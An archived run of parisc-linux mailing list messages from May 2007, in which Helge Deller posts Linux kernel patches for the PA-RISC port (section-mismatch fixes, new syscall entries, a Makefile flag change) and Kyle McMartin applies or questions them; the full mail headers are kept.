Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 59F3E837DB; Sun, 27 May 2007 15:02:26 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705271957.11716.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8u1scpUhRkkerquPfGRq3oNmdWkvKNN7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24581

On Sun, May 27, 2007 at 07:57:11PM +0200, Helge Deller wrote:
> Hi Kyle,
> 
> this patch fixes the following section mismatch (EISA cards should be hotplug aware, but the EISA bus itself shouldn't):
> WARNING: drivers/built-in.o(.text.eisa_probe+0x220): Section mismatch: reference to .init.text:eisa_root_register (after 'eisa_probe')
> 
> Please apply, 
> Helge
> 

applied



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] fix section mismatch in superio serial drivers
Date: Sun, 27 May 2007 15:02:34 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <20070527190234.GG25860__13327.8970759877$1416624370$gmane$org@fattire.cabal.ca>
References: <200705272038.47588.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624370 24027 80.91.229.3 (22 Nov 2014 02:46:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 19:02:37 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx085) with SMTP; 27 May 2007 21:02:37 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 998E758408E;
	Sun, 27 May 2007 15:02:35 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2AF9658408C;
	Sun, 27 May 2007 15:02:35 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id E711C837DB; Sun, 27 May 2007 15:02:34 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705272038.47588.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +educVV3bGI0haaDYmRno5dncmZ1ZpyJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24582

On Sun, May 27, 2007 at 08:38:47PM +0200, Helge Deller wrote:
> This patch fixes two section mismatches in superio serial setup:
> WARNING: drivers/built-in.o(.text.superio_serial_init+0x78): Section mismatch: reference to .init.text:early_serial_setup (after 'superio_serial_init')
> WARNING: drivers/built-in.o(.text.superio_serial_init+0xa4): Section mismatch: reference to .init.text:early_serial_setup (after 'superio_serial_init')
> 

applied



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] Wire up
	utimensat/signalfd/timerfd/eventfd syscalls
Date: Sun, 27 May 2007 21:15:49 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <200705272115.49834.deller__25515.4867460535$1416624371$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624371 24029 80.91.229.3 (22 Nov 2014 02:46:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 19:16:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 27 May 2007 21:16:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65EE67DDF5;
	Sun, 27 May 2007 13:16:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15873-01; Sun, 27 May 2007 13:16:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D9E17DDED;
	Sun, 27 May 2007 13:15:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C0557DDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 13:15:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15664-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 13:15:53 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C71FE7DDB9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 13:15:52 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 19:15:51 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp021) with SMTP; 27 May 2007 21:15:51 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: k7wxC3tvbHIymK3NNjQ0h9sqJihyahDf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24583

[PARISC] Wire up utimensat/signalfd/timerfd/eventfd syscalls and mark select/fadvise64/utimes to be ignored by checksyscalls.sh

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 7e04db6..627f3c2 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -401,6 +401,11 @@
 	ENTRY_COMP(statfs64)
 	ENTRY_COMP(fstatfs64)
 	ENTRY_COMP(kexec_load)		/* 300 */
+	ENTRY_COMP(utimensat)
+	ENTRY_COMP(signalfd)
+	ENTRY_COMP(timerfd)
+	ENTRY_SAME(eventfd)
+
 	/* Nothing yet */
 
 #undef ENTRY_SAME
diff --git a/include/asm-parisc/unistd.h b/include/asm-parisc/unistd.h
index 693743f..f74099b 100644
--- a/include/asm-parisc/unistd.h
+++ b/include/asm-parisc/unistd.h
@@ -793,8 +793,18 @@
 #define __NR_statfs64		(__NR_Linux + 298)
 #define __NR_fstatfs64		(__NR_Linux + 299)
 #define __NR_kexec_load		(__NR_Linux + 300)
+#define __NR_utimensat		(__NR_Linux + 301)
+#define __NR_signalfd		(__NR_Linux + 302)
+#define __NR_timerfd		(__NR_Linux + 303)
+#define __NR_eventfd		(__NR_Linux + 304)
+
+#define __NR_Linux_syscalls	(__NR_eventfd + 1)
+
+
+#define __IGNORE_select		/* newselect */
+#define __IGNORE_fadvise64	/* fadvise64_64 */
+#define __IGNORE_utimes		/* utime */
 
-#define __NR_Linux_syscalls     (__NR_kexec_load + 1)
 
 #define HPUX_GATEWAY_ADDR       0xC0000004
 #define LINUX_GATEWAY_ADDR      0x100

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [PARISC] Wire up utimensat/signalfd/timerfd/eventfd syscalls
Date: Sun, 27 May 2007 15:19:11 -0400
Lines: 7
Approved: news@gmane.org
Message-ID: <20070527191911.GH25860__12725.260135676$1416624371$gmane$org@fattire.cabal.ca>
References: <200705272115.49834.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624371 24033 80.91.229.3 (22 Nov 2014 02:46:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 19:19:14 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx015) with SMTP; 27 May 2007 21:19:14 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9C8DA58408E;
	Sun, 27 May 2007 15:19:12 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2CB9058408C;
	Sun, 27 May 2007 15:19:12 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id CF4F1837DB; Sun, 27 May 2007 15:19:11 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705272115.49834.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /aw4IlRva0Aom76aejEzmME3Njh6dM4X
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24584

On Sun, May 27, 2007 at 09:15:49PM +0200, Helge Deller wrote:
> [PARISC] Wire up utimensat/signalfd/timerfd/eventfd syscalls and mark select/fadvise64/utimes to be ignored by checksyscalls.sh
> 

applied, thanks



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] Drop -traditional for
	arch/parisc/kernel
Date: Sun, 27 May 2007 21:49:21 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <200705272149.21634.deller__14588.326533749$1416624371$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624371 24034 80.91.229.3 (22 Nov 2014 02:46:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 19:49:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 27 May 2007 21:49:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8145C7DE06;
	Sun, 27 May 2007 13:49:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16361-01; Sun, 27 May 2007 13:49:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A03C67DDFC;
	Sun, 27 May 2007 13:49:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C91DC7DDFA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 13:49:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16206-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 13:49:25 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 865727DDF5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 13:49:24 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 19:49:23 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp030) with SMTP; 27 May 2007 21:49:23 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n5U4IlRva0Aom76aejEzaic3Njh6dE7S
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24585

[PARISC] Drop -traditional for arch/parisc/kernel

Follows i386 & x86_64. Clean up whitespace indenting as well.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 27827bc..cdd0aa8 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -2,12 +2,9 @@
 # Makefile for arch/parisc/kernel
 #
 
-extra-y			:= init_task.o head.o vmlinux.lds
+extra-y		:= init_task.o head.o vmlinux.lds
 
-AFLAGS_entry.o	:= -traditional
-AFLAGS_pacache.o := -traditional

From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [PARISC] Drop -traditional for arch/parisc/kernel
Date: Sun, 27 May 2007 15:50:05 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20070527195005.GA28455__20640.9202226952$1416624371$gmane$org@fattire.cabal.ca>
References: <200705272149.21634.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624371 24036 80.91.229.3 (22 Nov 2014 02:46:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 19:50:08 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx106) with SMTP; 27 May 2007 21:50:08 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 454B358408E;
	Sun, 27 May 2007 15:50:06 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D694758408C;
	Sun, 27 May 2007 15:50:05 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 8DAF2837DB; Sun, 27 May 2007 15:50:05 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705272149.21634.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wtlqfgo6MmApm7SZZGFn3CoxMjQ1N13a
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24586

On Sun, May 27, 2007 at 09:49:21PM +0200, Helge Deller wrote:
> [PARISC] Drop -traditional for arch/parisc/kernel
> 
> Follows i386 & x86_64. Clean up whitespace indenting as well.
> 

Er, is this simply "because they did it" or is there some justification
behind it?

Regards,
	Kyle



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] [PARISC] Drop -traditional for
	arch/parisc/kernel
Date: Sun, 27 May 2007 21:51:49 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <200705272151.50060.deller__27385.5816260495$1416624372$gmane$org@gmx.de>
References: <200705272149.21634.deller@gmx.de>
	<20070527195005.GA28455@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624372 24041 80.91.229.3 (22 Nov 2014 02:46:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 19:52:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 27 May 2007 21:52:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3655D7DE30;
	Sun, 27 May 2007 13:52:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16493-07; Sun, 27 May 2007 13:52:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 126AD7DE07;
	Sun, 27 May 2007 13:51:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60A5C7DE00
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 13:51:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16493-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 13:51:53 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 206107DDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 13:51:52 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 19:51:51 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp004) with SMTP; 27 May 2007 21:51:51 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <20070527195005.GA28455@fattire.cabal.ca>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WtZsckpJTiEth6yUaGRwe2d1ZUVSRJcm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24587

On Sunday 27 May 2007, Kyle McMartin wrote:
> On Sun, May 27, 2007 at 09:49:21PM +0200, Helge Deller wrote:
> > [PARISC] Drop -traditional for arch/parisc/kernel
> > 
> > Follows i386 & x86_64. Clean up whitespace indenting as well.
> > 
> 
> Er, is this simply "because they did it" or is there some justification
> behind it?

Just "because they did".

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] [PARISC] Drop -traditional for arch/parisc/kernel
Date: Sun, 27 May 2007 15:52:47 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20070527195247.GB28455__10397.1179145903$1416624372$gmane$org@fattire.cabal.ca>
References: <200705272149.21634.deller@gmx.de> <20070527195005.GA28455@fattire.cabal.ca> <200705272151.50060.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
